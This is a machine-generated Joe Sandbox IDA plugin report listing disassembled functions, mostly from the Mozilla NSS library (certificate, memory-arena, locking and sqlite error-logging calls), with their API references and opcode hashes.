Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: UtilValue$CriticalEnterSectionUnlock$AlgorithmAlloc_Arena_DecodeDigestErrorFreeInfoTag_freemalloc
String ID:
API String ID: 2025608128-0
Opcode ID: 4c3df151eabc3a494b04c2644707f0be1d3ede1eae596089f9087a423d6853a0
Instruction ID: 44948756d3b17c237b973ec95a1403caee07eec60159056b44e20a11c29bcb62
Opcode Fuzzy Hash: 4c3df151eabc3a494b04c2644707f0be1d3ede1eae596089f9087a423d6853a0
Instruction Fuzzy Hash: C3316DB5A0121A9FDF10CFA8D985AAE77B4AF48248F500078EC19E7705E731EA04CBA1

Function 6C772E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C762D1A), ref: 6C772E7E

Part of subcall function 6C7C07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C768298,?,?,?,6C75FCE5,?), ref: 6C7C07BF
Part of subcall function 6C7C07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7C07E6
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C081B
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C0825

PR_Now.NSS3 ref: 6C772EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C772EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C762D1A), ref: 6C772F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C762D1A), ref: 6C772F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C772F81

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 36134d2d253f09f4b6737e6b296743583c3904c600495159d116f4eaf3cd1785
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 31312771601108CBEF30C656CE4CFAF7269EF80318F540576D43997AD1EB719986C671

Function 6C760E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C760A2C), ref: 6C760E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C760A2C), ref: 6C760E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C760A2C), ref: 6C760E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C760A2C), ref: 6C760E90
free.MOZGLUE(00000000), ref: 6C760EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C760A2C), ref: 6C760ED9

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: e3de597292919a9c80c2bf4cf6ff9219cfc421ec14c585002547143308088795
Instruction ID: b5572b5bdfdcf211a9f177a37e0188ab49e3a91ab47a2c326ce3e80d4bf0a98d
Opcode Fuzzy Hash: e3de597292919a9c80c2bf4cf6ff9219cfc421ec14c585002547143308088795
Instruction Fuzzy Hash: D7216E72F402A44BEB1069779E89B6B76AEDBC1708F090035DC1863E42FA61C81882A6

Function 6C76AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C76AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C76AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C76AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C889500), ref: 6C76AF23

Part of subcall function 6C7BF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C7BF0C8
Part of subcall function 6C7BF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7BF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C76AF37

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: ec4b9f17689f1ca8edd622f199be3896cdc2eab13cf1e196b5a820e9cfa21fa2
Instruction ID: f2996bb9b384db88079174393df39a09865ba4f89c1ecb8e7dfe5ee62177c0a4
Opcode Fuzzy Hash: ec4b9f17689f1ca8edd622f199be3896cdc2eab13cf1e196b5a820e9cfa21fa2
Instruction Fuzzy Hash: A8213AB5A052109BE7108E19CE01B9A7BE4AF8573CF144729FC14ABB91E731D54487E7

Function 6C7EEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7EEE85
realloc.MOZGLUE(7313176F,?), ref: 6C7EEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C7EEEC5

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

htonl.WSOCK32(?), ref: 6C7EEEE3
htonl.WSOCK32(00000000,?), ref: 6C7EEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C7EEF01

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: e1e4f192d72f37b487fd359d16da897d7944962d0001176455dc681e813f7f6b
Instruction ID: c092418b57e781627288269c0de24a2705430f8a644670161108b72af177ac5d
Opcode Fuzzy Hash: e1e4f192d72f37b487fd359d16da897d7944962d0001176455dc681e813f7f6b
Instruction Fuzzy Hash: 1321D872A002189FDB209F28DD8479A77A8EF49358F148579EC199B641E330EC14C7E6

Function 6C7C2550 Relevance: 9.1, APIs: 6, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 6C7C2576
PORT_Alloc_Util.NSS3(00000000), ref: 6C7C2585

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 6C7C25A1
_waccess.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?), ref: 6C7C25AF
free.MOZGLUE(00000000), ref: 6C7C25BB
free.MOZGLUE(00000000), ref: 6C7C25CA

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ByteCharMultiWidefree$Alloc_UtilValue_waccessmalloc
String ID:
API String ID: 3520324648-0
Opcode ID: b375b5da587e426933fd3864a7b444a5837fa5c328c1fe3cc5f385a76b7ba184
Instruction ID: 6eb9367a76f72fbec0092f896d1846ae235a5006c3304e564f08ac91b9a41f7c
Opcode Fuzzy Hash: b375b5da587e426933fd3864a7b444a5837fa5c328c1fe3cc5f385a76b7ba184
Instruction Fuzzy Hash: 1001D2F17052027FFF202B65EE19E37365CDB417A9B101130BC29D5682E9A0D80086F2

Function 6C8786C0 Relevance: 9.1, APIs: 6, Instructions: 54threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C8786DE

Part of subcall function 6C750F00: PR_GetPageSize.NSS3(6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000,?,6C6E204A), ref: 6C750F1B
Part of subcall function 6C750F00: PR_NewLogModule.NSS3(clock,6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000,?,6C6E204A), ref: 6C750F25

PR_Lock.NSS3 ref: 6C878700

Part of subcall function 6C829BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C751A48), ref: 6C829BB3
Part of subcall function 6C829BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C751A48), ref: 6C829BC8

getprotobyname.WSOCK32(?), ref: 6C878709
GetLastError.KERNEL32(?), ref: 6C878717
PR_GetCurrentThread.NSS3(?,?), ref: 6C87871F
PR_Unlock.NSS3(?,?), ref: 6C87873A

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobyname
String ID:
API String ID: 2388724134-0
Opcode ID: 2d379128312ee916792039a632b1391c9bd713a96a2001ee66e342dec88aa09a
Instruction ID: a80749dc8e0fe122abd0bab04467b79f17fb7eb47921abf26abc01fe05b917b8
Opcode Fuzzy Hash: 2d379128312ee916792039a632b1391c9bd713a96a2001ee66e342dec88aa09a
Instruction Fuzzy Hash: 0D11E572A14120ABCB305F799E4858E3664AF46378F054776EC0A67BA1E734CC04CBE5

Function 6C74C4E0 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C74C4F0
free.MOZGLUE ref: 6C74C51A
TlsSetValue.KERNEL32 ref: 6C74C540
free.MOZGLUE ref: 6C74C557
DeleteCriticalSection.KERNEL32 ref: 6C74C56A
free.MOZGLUE ref: 6C74C576

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$Value$CriticalDeleteSection
String ID:
API String ID: 195087141-0
Opcode ID: 27fd68491bb0329abe698b79dc0dc35f346ece9ca3a24bcb91d2b8c866b06c5f
Instruction ID: 69c242c85c80c1ccf32a55661ad0e42a14dbd51c552afd931262eb92f02674d2
Opcode Fuzzy Hash: 27fd68491bb0329abe698b79dc0dc35f346ece9ca3a24bcb91d2b8c866b06c5f
Instruction Fuzzy Hash: E2113AB0604B008BCB21BF79C14856EBBF4BF55249F054A3DD8DA83601EB30A498CBD6

Function 6C76E520 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000,?,?,6C777F5D,00000000,00000000,?,?,?,6C7780DD), ref: 6C76E532

Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290AB
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290C9
Part of subcall function 6C829090: EnterCriticalSection.KERNEL32 ref: 6C8290E5
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C829116
Part of subcall function 6C829090: LeaveCriticalSection.KERNEL32 ref: 6C82913F

PR_EnterMonitor.NSS3(6C7780DD), ref: 6C76E549

Part of subcall function 6C829090: LeaveCriticalSection.KERNEL32 ref: 6C8291AA
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C829212
Part of subcall function 6C829090: _PR_MD_WAIT_CV.NSS3 ref: 6C82926B

PR_ExitMonitor.NSS3 ref: 6C76E56D
PL_HashTableDestroy.NSS3 ref: 6C76E57B

Part of subcall function 6C76E190: PR_EnterMonitor.NSS3(?,?,6C76E175), ref: 6C76E19C
Part of subcall function 6C76E190: PR_EnterMonitor.NSS3(6C76E175), ref: 6C76E1AA
Part of subcall function 6C76E190: PR_ExitMonitor.NSS3 ref: 6C76E208
Part of subcall function 6C76E190: PL_HashTableRemove.NSS3(?), ref: 6C76E219
Part of subcall function 6C76E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C76E231
Part of subcall function 6C76E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C76E249
Part of subcall function 6C76E190: PR_ExitMonitor.NSS3 ref: 6C76E257

PR_ExitMonitor.NSS3(6C7780DD), ref: 6C76E5B5
PR_DestroyMonitor.NSS3 ref: 6C76E5C3

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Monitor$Enter$ExitValue$CriticalSection$Arena_DestroyFreeHashLeaveTableUtil$Remove
String ID:
API String ID: 3740585915-0
Opcode ID: 887f06e996db3b9c6a119960725dccf44ca7e0fdb32b395f46706251b2f58ea5
Instruction ID: 18778a376b474a81ca153eb3aef594cbc69335df37c5c120f3cbba0076f194ca
Opcode Fuzzy Hash: 887f06e996db3b9c6a119960725dccf44ca7e0fdb32b395f46706251b2f58ea5
Instruction Fuzzy Hash: 52012DF1E201849BEF215F69DE05A513BB5B7067CCF001136D815A1A22FB715799EBC2

Function 6C74AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C74AFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C74AFC4
%s at line %d of [%.10s], xrefs: 6C74AFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6C74AF5C
misuse, xrefs: 6C74AFCE

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: cfee433188a5bc2ad7be4d5ab35b2de825c73c9676d4df3cf4646775dbcf6630
Instruction ID: 1265ac16fd9a1631e9f074c0a430055778125fe7184adb34b93ce253025da441
Opcode Fuzzy Hash: cfee433188a5bc2ad7be4d5ab35b2de825c73c9676d4df3cf4646775dbcf6630
Instruction Fuzzy Hash: C391F175B002158FDB14CF29CA90AAEB7F1BF45325F1985B8E864AB791D334ED01CBA0

Function 6C6EE6D0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 194COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C6EE81D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010966,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C6EDB91,?,?), ref: 6C6EE8E7

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6EE8C5, 6C6EE8D1, 6C6EE8F9, 6C6EE905, 6C6EE911, 6C6EE91D, 6C6EE929, 6C6EE935
%s at line %d of [%.10s], xrefs: 6C6EE8E0
database corruption, xrefs: 6C6EE8DB

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 3107271255-598938438
Opcode ID: bf6a4e422bd580ea3f5caf04dd86e722d2bae971b845ba14981ff3312a897787
Instruction ID: 683fa7c105bbea271fdc7509b03c615b95b2b02ddb74ab85bdb290d36cea0eb1
Opcode Fuzzy Hash: bf6a4e422bd580ea3f5caf04dd86e722d2bae971b845ba14981ff3312a897787
Instruction Fuzzy Hash: BA719171D092299FCB14CF9DC490AEEBBF1AB0D314F14466BE854BBB41E370A941CBA5

Function 6C6EE4C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108D2,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6EE53A
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108BD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6EE5BC

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6EE525, 6C6EE596, 6C6EE5A7
%s at line %d of [%.10s], xrefs: 6C6EE534, 6C6EE5B6
database corruption, xrefs: 6C6EE52F, 6C6EE5B1

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 9d5e7bfe8985f420206fd8e6de88f9486d876258987c17901914380daabdc80e
Instruction ID: dcfb0af5f1ba276994eb013fface940c26ae1c215853572f4be5e1a625d9b1ee
Opcode Fuzzy Hash: 9d5e7bfe8985f420206fd8e6de88f9486d876258987c17901914380daabdc80e
Instruction Fuzzy Hash: AE316C306057159BC321CE9CC88097AB3A1EF49714F540D7EE448A7B45F362E946C3D4

Function 6C766420 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,00000001,00000000,00000000,?,?,6C765DEF,?,?,?), ref: 6C766456
CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001,00000001,00000000,00000000,?,?,6C765DEF,?,?,?), ref: 6C766476
CERT_DestroyCertificate.NSS3(00000000,?,?,?,?,?,?,6C765DEF,?,?,?), ref: 6C7664A0
PR_SetError.NSS3(FFFFE020,00000000,00000001,00000000,00000000,?,?,6C765DEF,?,?,?), ref: 6C7664C2

Strings

]vl, xrefs: 6C766489

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CertificateError$DestroyTemp
String ID: ]vl
API String ID: 3886907618-1918521238
Opcode ID: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction ID: 2d849c701cf4fa632fc5f4a10f3540ac8b7f8520e38e5c20421c9f4f4d4453c8
Opcode Fuzzy Hash: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction Fuzzy Hash: 9D21EBB1A002016BEB205F6ADD49B637AE8EB40308F544938FD29C6F41E7B1D758C7A1

Function 6C7B4590 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000008,?,6C7B473B,00000000,?,6C7A7A4F,?), ref: 6C7B459B

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

TlsGetValue.KERNEL32(?,?,6C7B473B,00000000,?,6C7A7A4F,?), ref: 6C7B45BF
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7B473B,00000000,?,6C7A7A4F,?), ref: 6C7B45D3
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C7B473B,00000000,?,6C7A7A4F,?), ref: 6C7B45E8

Strings

Ozzl, xrefs: 6C7B4594

Memory Dump Source

